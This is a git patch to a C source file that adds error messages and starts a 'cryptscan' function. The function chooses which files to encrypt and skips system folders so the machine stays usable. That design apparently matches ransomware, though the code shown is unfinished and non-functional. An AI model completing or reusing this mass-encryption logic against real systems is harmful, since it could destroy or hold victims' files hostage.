From 9bf40160e911dd6c2affa856c375193ae0579947 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 27 Dec 2025 23:10:06 -0600 Subject: Start working on cryptscan again --- src/encryption.c | 35 ++++++++++++++++++++++------------- 1 file changed, 22 insertions(+), 13 deletions(-) (limited to 'src/encryption.c') diff --git a/src/encryption.c b/src/encryption.c index 9b264dc..e304e6e 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -287,9 +287,9 @@ int encryptviatmp(const char * const target, const char * const output, const un res = 0; CLEANUP_encryptviatmp: - // TODO: Add warning messages for verbose errors if(___VXGG___VERBOSE_ERRORS___) { switch (eflag) { + case 0: break; case 1: WARN(errno, " Warning: Could not open target fd \"%s\"",, target); case 2: WARN(errno, " Warning: Could not get real dirname for \"%s\"",, output); case 3: WARN(errno, " Warning: Could not make temp file in target dir \"%s\"",, targetdir); @@ -297,10 +297,10 @@ CLEANUP_encryptviatmp: case 5: WARN(errno, " Warning: Could not get FILE* handle for output file",); case 6: ERROR(1, ENOTRECOVERABLE, " ERROR: I don't even have a way to cause an error here. How did you do it?",); case 7: WARN(errno, " Warning: Could not link \"%s\" into system after encryption",, output); + default: WARN(0, " Warning: Ran into some unknown error",); } } - free(targetdir); fclose(src); fclose(dst); @@ -436,21 +436,30 @@ int genpassword(char **str, unsigned int words) { // fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything // linearly -int __cscan_worker(void *data) { - if(!data) return -1; +/// Directory entries (files and folders) to exclude from encryption +#define EXCLUDED_ENTRIES ((const char* const []){\ + /* Entries found in /home/ */ \ + ".config", ".bashrc", \ + /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \ + "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\ +}) - return 0; -} +/// Helper function to select files to be encrypted +static int _cryptscan__selector(const struct dirent *de) { + // entries with non-zero returns get included, zeros get excluded + if(!de) return 0; -ctqueue * cryptscan() { - ctqueue *res = ctqueue_init(TPSIZE), *working = ctqueue_init(TPSIZE); - if(!res || !working) ERRRET(errno, NULL); + for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) { + if(strncmp(de->d_name, EXCLUDED_ENTRIES[i], sizeof(de->d_name)) == 0) + return 0; + } + + return 1; +} - task *start = task_new(__cscan_worker, free, NULL); - if(!start) ERRRET(errno, NULL); - ctqueue_waitpush(working, start); +ctqueue * cryptscan(int threads, const char * const start) { + if(!start || threads < 1) return NULL; - return res; } #endif \ No newline at end of file -- cgit v1.2.3